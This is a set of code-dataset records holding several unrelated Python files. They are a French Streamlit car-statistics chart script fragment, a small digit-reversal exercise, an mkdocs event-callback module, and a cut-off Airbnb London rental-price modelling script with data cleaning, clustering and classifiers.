#fig8.update_yaxes(title_text=\"Distance par gallon\")\r\n st.write(fig3)\r\n\r\n fig1 = px.box(df_cars, x=\"weightlbs\", color=\"continent\", color_discrete_map={'US.':'lightcyan',\r\n 'Japan.':'cyan',\r\n 'Europe.':'royalblue'})\r\n fig1.update_layout(title_text=\"Répartition des modèles par poids\",\r\n title_x=0.5, title_font_family=\"Verdana\")\r\n fig1.update_layout({'plot_bgcolor': 'rgba(0,0,0,0)',\r\n 'paper_bgcolor': 'rgba(0,0,0,0)'})\r\n fig1.update_xaxes(showgrid=False, gridwidth=1,\r\n gridcolor='black', linecolor='rgba(0,0,0,0)')\r\n fig1.update_yaxes(showgrid=False, gridwidth=1,\r\n gridcolor='black', linecolor='rgba(0,0,0,0)')\r\n fig1.update_xaxes(title_text=\"Poids\")\r\n #fig8.update_yaxes(title_text=\"Distance par gallon\")\r\n st.write(fig1)\r\n\r\n st.title('')\r\n\r\n fig2 = px.box(df_cars, x=\"hp\", color=\"continent\", color_discrete_map={'US.':'lightcyan',\r\n 'Japan.':'cyan',\r\n 'Europe.':'royalblue'})\r\n fig2.update_layout(title_text=\"Répartition des modèles par puissance\",\r\n title_x=0.5, title_font_family=\"Verdana\")\r\n fig2.update_layout({'plot_bgcolor': 'rgba(0,0,0,0)',\r\n 'paper_bgcolor': 'rgba(0,0,0,0)'})\r\n fig2.update_xaxes(showgrid=False, gridwidth=1,\r\n gridcolor='black', linecolor='rgba(0,0,0,0)')\r\n fig2.update_yaxes(showgrid=False, gridwidth=1,\r\n gridcolor='black', linecolor='rgba(0,0,0,0)')\r\n fig2.update_xaxes(title_text=\"Puissance (cv)\")\r\n #fig8.update_yaxes(title_text=\"Distance par gallon\")\r\n st.write(fig2)\r\n\r\n\r\n st.markdown(\"Sans surprise, les modèles US sont dans une catégorie à part avec des poids et des puissances beaucoup plus importants que les modèles japonais ou européens.\",\r\n unsafe_allow_html=True)\r\n \r\n\r\nif choice == 'Analyse des corrélations':\r\n\r\n if choix_pays :\r\n \r\n df_cars = df_cars[df_cars['continent'].isin(choix_pays)]\r\n\r\n else :\r\n \r\n st.sidebar.warning('No option is selected')\r\n\r\n st.subheader('')\r\n st.markdown('Heatmap de corrélation :',\r\n unsafe_allow_html=True)\r\n st.header('')\r\n fig, axes = plt.subplots(figsize=(12, 5))\r\n sns.heatmap(df_cars.corr(), annot=True, cmap=\"YlGnBu\")\r\n sns.set(rc={'figure.facecolor': 'white'})\r\n st.write(fig)\r\n st.markdown(\"A la lecture de ce heatmap, 4 variables sont fortement corrélées (hp, weightlbs, cylinders, cubicinches). Nous allons nous intéresser à d'autres corrélations ici.\",\r\n unsafe_allow_html=True)\r\n st.title('')\r\n\r\n st.markdown(\"Quelques analyses de corrélation :\",\r\n unsafe_allow_html=True)\r\n st.title('')\r\n fig7 = px.scatter(df_cars, x=\"time-to-60\",\r\n y=\"hp\", trendline=\"ols\", color=\"continent\", color_discrete_map={'US.':'lightcyan',\r\n 'Japan.':'cyan',\r\n 'Europe.':'royalblue'})\r\n fig7.update_layout(title_text=\"Corrélation entre l'accélération et la puissance\",\r\n title_x=0.5, title_font_family=\"Verdana\")\r\n fig7.update_layout({'plot_bgcolor': 'rgba(0,0,0,0)',\r\n 'paper_bgcolor': 'rgba(0,0,0,0)'})\r\n fig7.update_xaxes(showgrid=False, gridwidth=1,\r\n gridcolor='black', linecolor='rgba(0,0,0,0)')\r\n fig7.update_yaxes(showgrid=False, gridwidth=1,\r\n gridcolor='black', linecolor='rgba(0,0,0,0)')\r\n fig7.update_xaxes(title_text=\"Temps (sec)\")\r\n fig7.update_yaxes(title_text=\"Puissance\")\r\n st.write(fig7)\r\n st.markdown(\"Plus le modèle est puissant, plus la durée pour atteindre les 60 miles/heure est faible.\",\r\n unsafe_allow_html=True)\r\n\r\n st.title('')\r\n fig8 = px.scatter(df_cars, x=\"year\",\r\n y=\"mpg\", trendline=\"ols\", color=\"continent\", color_discrete_map={'US.':'lightcyan',\r\n 'Japan.':'cyan',\r\n 'Europe.':'royalblue'})\r\n fig8.update_layout(title_text=\"Corrélation entre la consommation et l'année de fabrication\",\r\n title_x=0.5, title_font_family=\"Verdana\")\r\n fig8.update_layout({'plot_bgcolor': 'rgba(0,0,0,0)',\r\n 'paper_bgcolor': 'rgba(0,0,0,0)'})\r\n fig8.update_xaxes(showgrid=False, gridwidth=1,\r\n gridcolor='black', linecolor='rgba(0,0,0,0)')\r\n fig8.update_yaxes(showgrid=False, gridwidth=1,\r\n gridcolor='black', linecolor='rgba(0,0,0,0)')\r\n fig8.update_xaxes(title_text=\"Années\")\r\n fig8.update_yaxes(title_text=\"Distance par gallon\")\r\n st.write(fig8)\r\n st.markdown(\"La distance parcourue par gallon ne cesse d'augmenter au fil du temps soit une baisse de la consommation des véhicules.\",\r\n unsafe_allow_html=True)\r\n st.title('')\r\n\r\n","sub_path":"quete_streamlit.py","file_name":"quete_streamlit.py","file_ext":"py","file_size_in_byte":8202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"350848133","text":"def main():\n number = int(input(\"Enter a number: \"))\n #escribe tu código abajo de esta línea\n numberstr= str(number)\n if len(numberstr)>6:\n print('Too long')\n else:\n if number >0:\n reverso= numberstr[len(numberstr)::-1]\n print(reverso)\n else:\n negativo= numberstr[0]\n reverso= numberstr[len(numberstr):0:-1]\n reversaneg= negativo + reverso\n print(reversaneg)\n","sub_path":"assignments/22InversoDigitos/src/exercise.py","file_name":"exercise.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"190277404","text":"from collections import defaultdict\n\ncallbacks = defaultdict(list)\n\ndef register_callback(event_type, callback):\n callbacks[event_type].append(callback)\n\nclass Event(object):\n \"\"\" Abstract event extension class for mkdocs \"\"\"\n\n def __init__(self):\n self.consumed = False\n\n def broadcast(self):\n for callback in callbacks[type(self)]:\n callback(self)\n if self.consumed:\n return\n\nclass BuildPage(Event):\n \"\"\" Called before a page is generated within the navigation system \"\"\"\n def __init__(self, page_title, path, url, url_context):\n super(BuildPage, self).__init__()\n\n # input arguments\n self.page_title = page_title\n self.path = path\n self.url = url\n self.url_context = url_context\n\n # output arguments\n self.pages = []\n\nclass CLI(Event):\n # define additional plugin commands\n commands = set()\n\n def __init__(self, config, cmd, args, options=None):\n super(CLI, self).__init__()\n\n # define the execution event\n self.config = config\n self.cmd = cmd\n self.args = args\n self.options = options\n\nclass GenerateContent(Event):\n def __init__(self, config, page):\n super(GenerateContent, self).__init__()\n\n # inpute arguments\n self.config = config\n self.page = page\n\n # output arguments\n self.table_of_contents = ''\n self.meta = {}\n self.html_content = ''\n\nclass PreBuild(Event):\n \"\"\" Called before a build event occurs \"\"\"\n def __init__(self, config):\n super(PreBuild, self).__init__()\n\n self.config = config\n\n","sub_path":"mkdocs/events.py","file_name":"events.py","file_ext":"py","file_size_in_byte":1657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"250941726","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Jan 1 10:17:04 2019\r\n\r\n@author: vrush\r\n\"\"\"\r\n\r\nimport pandas\r\nfrom sklearn import neighbors,cluster,preprocessing,svm,decomposition,model_selection,metrics,ensemble,feature_extraction,naive_bayes,linear_model\r\nimport numpy\r\nimport collections\r\nimport operator\r\nimport matplotlib.pyplot as plt\r\nimport scipy\r\nimport seaborn\r\nimport xgboost\r\nimport scipy.stats\r\nseaborn.set(rc={'figure.figsize':(11.7,8.27)})\r\nfrom bs4 import BeautifulSoup\r\nimport requests\r\nimport selenium\r\nfrom selenium import webdriver\r\nfrom sklearn.cluster import KMeans\r\nfrom sklearn.naive_bayes import GaussianNB\r\nfrom sklearn.preprocessing import scale\r\n\r\ndef parse_amenities(am_st):\r\n am_st=am_st.translate(am_st.maketrans('','','{}'))\r\n arr=am_st.split(',')\r\n am=[s.translate(s.maketrans('','','\"')).strip() for s in arr if s!='']\r\n return(am)\r\n\r\n'''removes/replaces the rows/values having targetColumn greater than 99th percentile for each\r\ncategory level in the column passed to function'''\r\ndef handleAbove99tileByCategory(df,columnName,targetColumn,replaceWithCutoff=False):\r\n unique_vals=df[columnName].dropna().unique()\r\n print('Working on Column: ',columnName,' Target Column: ',targetColumn)\r\n print('Category wise 99th percentile')\r\n for val in unique_vals:\r\n subset=df[df[columnName]==val]\r\n cutoffpercentile=numpy.nanpercentile(subset[targetColumn],q=[99])\r\n print(columnName.upper(),'-',val,':',numpy.ceil(cutoffpercentile[0]))\r\n if(replaceWithCutoff==False):\r\n df=df.drop(df[(df[columnName]==val) & (df[targetColumn]>cutoffpercentile[0])].index)\r\n else:\r\n df.loc[df[(df[columnName]==val) & (df[targetColumn]>cutoffpercentile[0])].index,targetColumn]=numpy.ceil(cutoffpercentile)\r\n \r\n return(df)\r\n \r\n \r\ndef updatePrice(df):\r\n '''update from scrapped data''' \r\n merged_scrape=pandas.read_csv('C:\\\\Users\\\\gudea\\\\Desktop\\\\Python\\\\airbnb\\\\scrapped_data\\\\combinedscrape_180119.csv')\r\n merged_scrape=merged_scrape.fillna(0)#the records having NaN are no longer listed on airbnb.so we will remove them\r\n for url,new_price in zip(merged_scrape.listing_url,merged_scrape.new_price): \r\n df.loc[df.listing_url==url,'price']=new_price\r\n \r\n #remove 0 price listings as they are no longer listed on airbnb and we are not sure of their price\r\n df=df[df.price>0].copy()\r\n return(df)\r\n\r\n\r\ndef removeUnwantedColumns(df):\r\n '''remove the unwanted columns.mostly those having free flowing text'''\r\n df=df.drop(['id','scrape_id','last_scraped','name','summary','space'\r\n ,'description','experiences_offered','access'\r\n ,'interaction','neighborhood_overview','notes','transit'\r\n ,'house_rules','thumbnail_url','medium_url','picture_url','xl_picture_url'\r\n ,'host_url','host_name','host_since','host_location'\r\n ,'host_about','host_picture_url','host_listings_count'\r\n ,'host_acceptance_rate','host_thumbnail_url'\r\n ,'neighbourhood_group_cleansed','market','country_code','country'\r\n ,'weekly_price','monthly_price','calendar_updated'\r\n ,'has_availability','availability_30','availability_60'\r\n ,'availability_365','calendar_last_scraped'\r\n ,'requires_license','license','jurisdiction_names'\r\n ,'is_business_travel_ready','require_guest_profile_picture'\r\n ,'require_guest_phone_verification','calculated_host_listings_count','host_verifications'\r\n ,'host_neighbourhood','is_location_exact'],axis=1)\r\n \r\n \r\n \r\n '''after EDA, delete some more columns'''\r\n '''majority are one value so delete host_has_profile_pic'''\r\n df=df.drop(['host_has_profile_pic',],axis=1)\r\n '''as we have the neighbourhood, we dont need the zipcode'''\r\n df=df.drop(['zipcode'],axis=1)\r\n '''remove square feet as majority values are blank'''\r\n df=df.drop(['square_feet'],axis=1)\r\n '''remove columns that leak future information like review.remove unwanted reviews columns. we will only keep the main one'''\r\n df=df.drop(['number_of_reviews','review_scores_value','first_review','last_review','review_scores_accuracy','review_scores_rating','review_scores_cleanliness','review_scores_checkin','review_scores_communication','review_scores_location','reviews_per_month'],axis=1)\r\n '''as we have london_borough we dont need the state'''\r\n df=df.drop(['state'],axis=1)\r\n '''now in cleaned data neighbourhood stands for actual neighbourhood whereas \r\n neighbourhood_cleansed stands for the borough where this neighbourhood is located'''\r\n '''to avoid confustion we'll rename it to london_borough'''\r\n df=df.rename(index=int,columns={'neighbourhood_cleansed':'london_borough'})\r\n '''remove street,smart_location,city as we have london_borough'''\r\n df=df.drop(['street','smart_location','city'],axis=1)\r\n '''as we are predicting only the rental price and not the cleaning fee or security deposit.so we can remove those columns'''\r\n df=df.drop(['security_deposit','cleaning_fee'],axis=1)\r\n '''since host_response_rate and host_response_time are missing together for 35% of the records and since they dont \r\n have a strong corelation with the DV, we can drop them for now.'''\r\n df=df.drop(['host_response_rate','host_response_time'],axis=1)\r\n '''as majority are real bed we will delete this column'''\r\n df=df.drop(['bed_type'],axis=1) \r\n return(df) \r\n\r\n\r\ndef cleanData(df):\r\n '''DATA CLEANING'''\r\n '''cleaning special characters from certain numerical columns'''\r\n df['price']=df['price'].str.replace('$','').str.replace(',','').astype('float')\r\n df['extra_people']=df['extra_people'].str.replace('$','').str.replace(',','').astype('float')\r\n \r\n '''convert binary variables to numerical'''\r\n df.host_is_superhost=df.host_is_superhost.map({'f':0,'t':1})\r\n df.host_identity_verified=df.host_identity_verified.map({'f':0,'t':1})\r\n df.instant_bookable=df.instant_bookable.map({'f':0,'t':1})\r\n \r\n '''delete the rows having 0 as price as they are noise'''\r\n df=df[df.price>0].copy() \r\n '''the bedrooms which are actually marked as 0 are actually studio apartments.\r\n so replace the number of bedrooms by 1'''\r\n df.loc[df.bedrooms==0,'bedrooms']=1\r\n '''many listings have misleading info they are giving one bedroom for rent but have mentioned the total number of rooms in the house'''\r\n df.loc[(df.bedrooms>1)&(df.room_type=='Private room'),'bedrooms' ]=1\r\n '''similar problem they have mentioned how many people the house can accommodate but the price mentioned is for 1 person'''\r\n df.loc[(df.bedrooms==1)&(df.room_type=='Shared room'),'accommodates']=1\r\n '''we are restricting the scope to 5 bedrooms'''\r\n df=df[df.bedrooms<=5].copy()\r\n '''the hostels have many shared bathrooms which can affect the model. so for hostels we will cap bathroom to 1'''\r\n df.loc[df.property_type=='Hostel','bathrooms']=1\r\n return(df)\r\n\r\n\r\ndef featureEngineeringOfAmenities(df):\r\n '''clean the amenities field and convert into list'''\r\n df['amenities']=df.apply(lambda x:parse_amenities(x.amenities),axis=1)\r\n '''OHE the data of ammenities'''\r\n '''we cannot use getdummies here as each row has a list of amenities.so we are using MultiLabelBinarizer '''\r\n mlb=preprocessing.MultiLabelBinarizer()\r\n amenities=pandas.DataFrame(mlb.fit_transform(df['amenities']),columns=mlb.classes_, index=df.index) \r\n amenities=amenities.drop(['translation missing: en.hosting_amenity_49','translation missing: en.hosting_amenity_50'],axis=1)\r\n \r\n '''check corelation between amenities'''\r\n cor_amn=pandas.DataFrame(amenities.corr())\r\n for col in cor_amn.columns:\r\n cor_amn.loc[col,col]=numpy.nan\r\n high_cor=cor_amn.where(cor_amn.abs().gt(.8))\r\n high_cor=high_cor.dropna(axis=1,how='all')\r\n high_cor=high_cor.dropna(axis=0,how='all')\r\n \r\n '''highly corelated with bathroom essentials. so remove them'''\r\n amenities=amenities.drop(['Bath towel','Bedroom comforts','Body soap','Toilet paper'],axis=1)\r\n '''highly corelated with cooking basics. so remove them'''\r\n amenities=amenities.drop(['Dishes and silverware','Oven','Refrigerator','Stove','Microwave'],axis=1)\r\n '''highly corelated with self check in.so remove them'''\r\n amenities=amenities.drop(['Lockbox'],axis=1)\r\n '''highly corelated to toilet so remove'''\r\n amenities=amenities.drop(['Wide clearance to shower'],axis=1)\r\n \r\n '''delete original amenities column'''\r\n df=df.drop(['amenities'],axis=1) \r\n '''merge amenities with original data'''\r\n df=pandas.DataFrame(pandas.concat([df,amenities],axis=1))\r\n \r\n '''remove amenities which are most common or most uncommon'''\r\n amenities_dist=dict()\r\n unbalanced_amenities=list()\r\n for i in amenities.columns:\r\n freq=df[i].sum().item()\r\n amenities_dist.update({i:freq})\r\n if(freq<1500 or freq>70000):\r\n unbalanced_amenities.append(i)\r\n '''sort by most common'''\r\n amenities_dist=dict(sorted(amenities_dist.items(),key=operator.itemgetter(1),reverse=True))\r\n '''get rid of amenities which have less than 3% of 0's or 1's in each column'''\r\n df=df.drop(unbalanced_amenities,axis=1)\r\n return(df)\r\n \r\ndef reducePropertyTypeLevels(df):\r\n Property_Type_Count=collections.Counter(df.property_type)\r\n '''Counting the number of properties which are below and equal to 200'''\r\n Property_Count_Below_100=list()\r\n Property_Count_Below_100=[key for key,value in Property_Type_Count.items() if value<=100]\r\n '''Replacing the value of properties with others where count is below or equal to 10''' \r\n df['property_type'].replace(Property_Count_Below_100,\"Other\",inplace=True)\r\n return(df)\r\n\r\ndef missingValueImpute(df):\r\n df.bathrooms=df.bathrooms.fillna(round(df.bathrooms.mean()))\r\n df.host_is_superhost=df.host_is_superhost.fillna(0)\r\n df.host_identity_verified=df.host_identity_verified.fillna(0)\r\n df.host_total_listings_count=df.host_total_listings_count.fillna(0)\r\n return(df)\r\n\r\n\r\n\r\n'''LOGIC STARTS''' \r\n#load the data\r\nlondon_data=pandas.DataFrame(pandas.read_csv('C:\\\\Users\\\\gudea\\\\Desktop\\\\Python\\\\airbnb\\\\london_listings.csv',low_memory=False,na_values=['',' ',numpy.NAN,numpy.NaN,'NA','N/A']))\r\n#remove unwanted columns\r\nlondon_data=removeUnwantedColumns(london_data)\r\n#clean data\r\nlondon_data=cleanData(london_data)\r\n#update the prices we have scraped for some records to check their authenticity\r\nlondon_data=updatePrice(london_data)\r\n\r\n'''CHECK CORRELATION'''\r\ncorr=round(london_data.corr(),2)\r\nseaborn.heatmap(corr,annot=True)\r\n#accomodates and beds has strong corelation.so drop beds\r\nlondon_data=london_data.drop(['beds'],axis=1) \r\n\r\n\r\n\r\n'''VISUALIZATION'''\r\nseaborn.pointplot(x=london_data.bedrooms,y=london_data.price)\r\nseaborn.barplot(y=london_data.london_borough,x=london_data.price)\r\nseaborn.barplot(y=london_data.property_type,x=london_data.price)\r\nseaborn.boxplot(x=london_data.bedrooms)\r\nseaborn.FacetGrid(london_data[['latitude','longitude','london_borough']],hue='london_borough').map(plt.scatter,'latitude','longitude').add_legend()\r\nseaborn.regplot(x=london_data.bedrooms,y=london_data.price)\r\nseaborn.distplot(london_data.price)\r\nseaborn.regplot(x=london_data.bedrooms,y=london_data.bathrooms)\r\n\r\n\r\n'''OUTLIER TREATMENT'''\r\n#extreme outliers removal based on the number of bedrooms\r\nlondon_data=handleAbove99tileByCategory(london_data,'bedrooms','price')\r\n#handle outliers in case of number of bathrooms for other properties\r\nlondon_data=handleAbove99tileByCategory(london_data,'bedrooms','bathrooms',True)\r\n\r\n\r\n'''FEATURE ENGINEERING'''\r\n#reset index the dataframe as we have deleted some rows\r\nlondon_data=london_data.reset_index(drop=True)\r\n#Feature Engineering of Amenities\r\nlondon_data=featureEngineeringOfAmenities(london_data)\r\n#Reduce levels in Property Type\r\nseaborn.barplot(y=london_data.property_type,x=london_data.price)\r\nlondon_data=reducePropertyTypeLevels(london_data)\r\n#remove the columns which were kept for debuging.remove neighbourhood as we will be doing clustering on lat,long\r\nlondon_data=london_data. drop(['host_id','neighbourhood','listing_url'],axis=1) \r\n#bin the price column\r\nbins=[0,58,110,210,2001]\r\nnames=[1,2,3,4]\r\nprice_bins=pandas.cut(london_data.price,bins=bins,labels=names).astype('int')\r\nlondon_data['price_bins']=price_bins\r\n#OHE the categorical columns\r\nlondon_data=pandas.get_dummies(london_data)\r\n\r\n'''SPLIT INTO TRAIN AND TEST'''\r\nX=london_data.drop(['price','price_bins'],axis=1).copy()\r\nY=london_data[['price','price_bins']].copy()\r\nx_train, x_test, y_train, y_test = model_selection.train_test_split(X, Y,random_state = 18,train_size=0.7)\r\n\r\n#reset index for train and test\r\nx_train=x_train.reset_index(drop=True)\r\ny_train=y_train.reset_index(drop=True)\r\nx_test=x_test.reset_index(drop=True)\r\ny_test=y_test.reset_index(drop=True)\r\n\r\n'''IMPUTE MISSING VALUES FOR TRAIN AND TEST SEPERATELY'''\r\nx_train=missingValueImpute(x_train)\r\nx_test=missingValueImpute(x_test)\r\n\r\n\r\n'''CLUSTERING'''\r\n#instead of using the neighbourhood categorical columns having many levels. we can create location\r\n#clusters as it will avoid the need of creating many OHE columns\r\n#run kmeans on train data\r\nkmeans=KMeans(n_clusters=100).fit(x_train[['latitude','longitude']])\r\nlabels_train=kmeans.labels_\r\nx_train['location_cluster']=pandas.Series(labels_train)\r\n\r\n#then use this to predict the test location clusters\r\nlabels_test=kmeans.predict(x_test[['latitude','longitude']])\r\nx_test['location_cluster']=pandas.Series(labels_test)\r\n\r\n#as we have cluster, we can drop latitude and longitude for both train and test\r\nx_train=x_train.drop(['latitude','longitude'],axis=1)\r\nx_test=x_test.drop(['latitude','longitude'],axis=1)\r\n\r\n\r\n\r\n'''CLASSIFICATION OF THE PRICE BINS'''\r\n#Most of the time people have an idea about the price range in which their rental will fail. \r\n#For such people we can skip the classification stage and go directly to the price bucket specific regression .\r\n#For users who have no idea about the price range, we can first classify in which price bucket their rental can fall in\r\n#and then do the bucket specific regression\r\n\r\n#RandomForest Classifier to predict the price bins\r\nrandomForestClassifier=ensemble.RandomForestClassifier(n_estimators=200,max_features=100,max_depth=15,min_samples_leaf=5)\r\nrandomForestClassifier.fit(x_train,y_train['price_bins'])\r\nprint(randomForestClassifier.score(x_train,y_train['price_bins']))\r\nprint(randomForestClassifier.score(x_test,y_test['price_bins']))\r\ny_pred=randomForestClassifier.predict(x_test)\r\nreport=metrics.classification_report(y_test['price_bins'],y_pred)\r\nprint(report)\r\n\r\n#Logistic Regression\r\nlogistic=linear_model.LogisticRegression().fit(scale(x_train),y_train['price_bins'])\r\nprint(logistic.score(scale(x_train),y_train['price_bins']))\r\nprint(logistic.score(scale(x_test),y_test['price_bins']))\r\ny_pred=logistic.predict(scale(x_test))\r\nreport=metrics.classification_report(y_test['price_bins'],y_pred)\r\nprint(report)\r\n\r\n\r\n'''REGRESSION'''\r\n\r\n#A regression model is built for each of the price bins. So total 4 regression models will be built.\r\n#Based on the output of the classification model, we will call the appropriate regression model\r\n\r\n#Model for Price Bin 1#\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\"\"\"END\"\"\"\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#rf=ensemble.RandomForestRegressor(n_estimators=100,max_features=100,min_samples_leaf=20)\r\n#rf.fit(x_train,y_train)\r\n#numpy.sqrt(metrics.mean_squared_error(y_train,rf.predict(x_train)))\r\n#rf.score(x_train,y_train)\r\n#rf.score(x_test,y_test)\r\n#\r\n#y_predicted=rf.predict(x_test)\r\n#metrics.median_absolute_error(y_test,y_predicted)\r\n#numpy.sqrt(metrics.mean_squared_error(y_test,y_predicted))\r\n#\r\n#residuals=y_test-y_predicted\r\n#print(scipy.stats.skew(residuals))\r\n#seaborn.distplot(residuals)\r\n#'''Heteroskedasticity(non constant variance.error increases as price increases) can be seen from the plot (Funnel Shape)'''\r\n#seaborn.residplot(x=y_predicted,y=residuals)\r\n#\r\n#imps=dict()\r\n#for feature, importance in zip(x_train.columns, rf.feature_importances_):\r\n# imps[feature] = importance #add the name/value pair \r\n#imps=list(sorted(imps.items(),key=operator.itemgetter(1),reverse=True))\r\n#\r\n#rf_log_transformed.get_params\r\n#rf_log_transformed=ensemble.RandomForestRegressor(n_estimators=200)\r\n#rf_log_transformed.fit(x_train,scipy.special.boxcox(y_train,0))\r\n#print(rf_log_transformed.score(x_train,scipy.special.boxcox(y_train,0)))\r\n#print(rf_log_transformed.score(x_test,scipy.special.boxcox(y_test,0)))\r\n#y_predicted_logtransformed=rf_log_transformed.predict(x_test)\r\n#residuals_log=scipy.special.boxcox(y_test,0)-y_predicted_logtransformed\r\n#print(scipy.stats.skew(residuals_log))\r\n#sum(y_predicted_logtransformed)\r\n#seaborn.distplot(residuals_log)\r\n#seaborn.residplot(x=y_predicted_logtransformed,y=residuals_log).set(xlabel='Fitted',ylabel='Residuals')\r\n#seaborn.regplot(x=scipy.special.inv_boxcox(y_predicted_logtransformed,0),y=y_test).set(xlabel='Predicted Price',ylabel='Actual Price')\r\n#\r\n#\r\n#metrics.median_absolute_error(y_test,scipy.special.inv_boxcox(y_predicted_logtransformed,0))\r\n#numpy.sqrt(metrics.mean_squared_error(y_test,scipy.special.inv_boxcox(y_predicted_logtransformed,0)))\r\n#\r\n#imps_rf=dict()\r\n#for feature, importance in zip(x_train.columns, rf_log_transformed.feature_importances_):\r\n# imps_rf[feature] = importance #add the name/value pair \r\n#imps_rf=list(sorted(imps_rf.items(),key=operator.itemgetter(1),reverse=True))\r\n#\r\n#actual=y_test.reset_index(drop=True)\r\n#normal_predict=pandas.Series(y_predicted).reset_index(drop=True)\r\n#log_predict=pandas.Series(scipy.special.inv_boxcox(y_predicted_logtransformed,0)).reset_index(drop=True)\r\n#\r\n#compare=pandas.DataFrame(pandas.concat([actual,normal_predict,log_predict],axis=1))\r\n#compare.columns=['Actual','Predicted','PredictedLog']\r\n#\r\n#\r\n#\r\n#from sklearn.pipeline import make_pipeline\r\n#svr = make_pipeline(preprocessing.RobustScaler(), linear_model.Lasso())\r\n#\r\n#svr.fit(x_train,scipy.special.boxcox(y_train,0))\r\n#\r\n#print(svr.score(x_test,scipy.special.boxcox(y_test,0)))\r\n#y_predicted_ridge=svr.predict(x_test)\r\n#print(metrics.median_absolute_error(y_test,scipy.special.inv_boxcox(y_predicted_ridge,0)))\r\n#numpy.sqrt(metrics.mean_squared_error(y_test,scipy.special.inv_boxcox(y_predicted_ridge,0)))\r\n#seaborn.regplot(y=y_predicted_ridge,x=x_test)\r\n#\r\n#actual=y_test.reset_index(drop=True)\r\n#ridge_predict=pandas.Series(scipy.special.inv_boxcox(y_predicted_ridge,0)).reset_index(drop=True)\r\n#log_predict=pandas.Series(scipy.special.inv_boxcox(y_predicted_logtransformed,0)).reset_index(drop=True)\r\n#\r\n#compare=pandas.DataFrame(pandas.concat([actual,ridge_predict,log_predict],axis=1))\r\n#compare.columns=['Actual','Ridge','RFLog']\r\n#\r\n#\r\n#ridge=linear_model.BayesianRidge()\r\n#ridge.fit(x_train,scipy.special.boxcox(y_train,0))\r\n#print(ridge.score(x_train,scipy.special.boxcox(y_train,0)))\r\n#print(ridge.score(x_test,scipy.special.boxcox(y_test,0)))\r\n#\r\n#\r\n#seaborn.regplot(x=temp.bedrooms,y=temp.price)\r\n#xgb=xgboost.XGBRegressor(max_depth=10,eta=)\r\n#\r\n#xgb=xgb.fit(x_train,scipy.special.boxcox(y_train,0))\r\n#print(xgb.score(x_train,scipy.special.boxcox(y_train,0)))\r\n#print(xgb.score(x_test,scipy.special.boxcox(y_test,0)))\r\n#y_predicted_xgb=xgb.predict(x_test)\r\n#print(metrics.median_absolute_error(y_test,scipy.special.inv_boxcox(y_predicted_xgb,0)))\r\n#print(numpy.sqrt(metrics.mean_squared_error(y_test,scipy.special.inv_boxcox(y_predicted_xgb,0))))\r\n#\r\n#from xgboost import plot_tree,plot_importance,to_graphviz\r\n#cols=x_train.columns\r\n#to_graphviz=to_graphviz(xgb)\r\n#cols=[x.replace(' ','') for x in cols]\r\n#plot_tree(xgb,feature_names=cols)\r\n#plot_importance(xgb)\r\n#import numpy\r\n#import numpy.core.multiarray\r\n#import shap\r\n#numpy.version.version\r\n#\r\n#shap.initjs()\r\n#\r\n#explainer = shap.TreeExplainer(xgb)\r\n#import site; site.getsitepackages()\r\n#shap_values = explainer.shap_values(X)\r\n#\r\n## visualize the first prediction's explanation\r\n#shap.force_plot(explainer.expected_value, shap_values[0,:], X.iloc[0,:])\r\n#plt.savefig('C:\\\\Users\\\\gudea\\\\Desktop\\\\Python\\\\imp_weight.jpg')\r\n#d=plt.rcParams['figure.figsize']\r\n#d[0]=30\r\n#d[1]=30\r\n#plot_importance(xgb,importance_type='cover')\r\n#plt.savefig('C:\\\\Users\\\\gudea\\\\Desktop\\\\Python\\\\imp_cover.jpg')\r\n#import graphviz\r\n#from sklearn.tree import export_graphviz\r\n#export_graphviz(xgb,\r\n# feature_names=x_train.columns,\r\n# filled=True,\r\n# rounded=True)\r\n#\r\n#param_grid = {'xgbregressor__learning_rate': numpy.arange(0.05,0.2,0.05), \r\n# 'xgbregressor__max_depth': numpy.arange(5,9,1),\r\n# 'xgbregressor__n_estimators': [100, 300],\r\n# 'xgbregressor__min_child_weight ': numpy.arange(1,4,1),\r\n# 'xgbregressor__alpha ': [0.005,0.05]}\r\n#\r\n## Instantiate the grid search model\r\n#grid_search = model_selection.GridSearchCV(estimator = xgb,\r\n# param_grid = param_grid, \r\n# cv = 3, n_jobs = -1, verbose = 2, \r\n# scoring = 'neg_mean_squared_error')\r\n#grid_search.fit(x_train, scipy.special.boxcox(y_train,0))\r\n#grid_search.best_params_\r\n#\r\n#y_predicted_xgb=xgb.predict(x_test)\r\n#print(metrics.median_absolute_error(y_test,scipy.special.inv_boxcox(y_predicted_xgb,0)))\r\n#print(numpy.sqrt(metrics.mean_squared_error(y_test,scipy.special.inv_boxcox(y_predicted_xgb,0))))\r\n#print(numpy.sqrt(metrics.mean_squared_error(y_train,scipy.special.inv_boxcox(xgb.predict(x_train),0))))\r\n#xgb.get_params()\r\n#imps_xgb=dict()\r\n#for feature, importance in zip(x_train.columns, xgb.feature_importances_):\r\n# imps_xgb[feature] = importance #add the name/value pair \r\n#imps_xgb=list(sorted(imps_xgb.items(),key=operator.itemgetter(1),reverse=True))\r\n#\r\n#x=x_test.reset_index(drop=True)\r\n#actual=y_test.reset_index(drop=True)\r\n#predict=pandas.Series(scipy.special.inv_boxcox(y_predicted_xgb,0)).reset_index(drop=True)\r\n#diff=numpy.abs(actual-predict)\r\n#diffpercent=(diff/actual)*100\r\n#within5percent=diffpercent[diffpercent<=10]\r\n#\r\n#compare=pandas.DataFrame(pandas.concat([actual,predict,diff,x],axis=1))\r\n#ind=['Actual','Predicted','Difference']\r\n#ind.extend(x.columns)\r\n#compare.columns=ind\r\n#compare.to_csv('analyze_predictions.csv',index=False)\r\n#\r\n#\r\n#\r\n#\r\n#'''BEDROOM BASED MODELS'''\r\n#\r\n#X_1bhk=london_data_bkp[london_data_bkp.cluster==0].drop(['price','cluster'],axis=1)\r\n#X_1bhk=X_1bhk.drop(cols,axis=1)\r\n#Y_1bhk=london_data_bkp[london_data_bkp.cluster==0]['price']\r\n#x_train_1bhk, x_test_1bhk, y_train_1bhk, y_test_1bhk 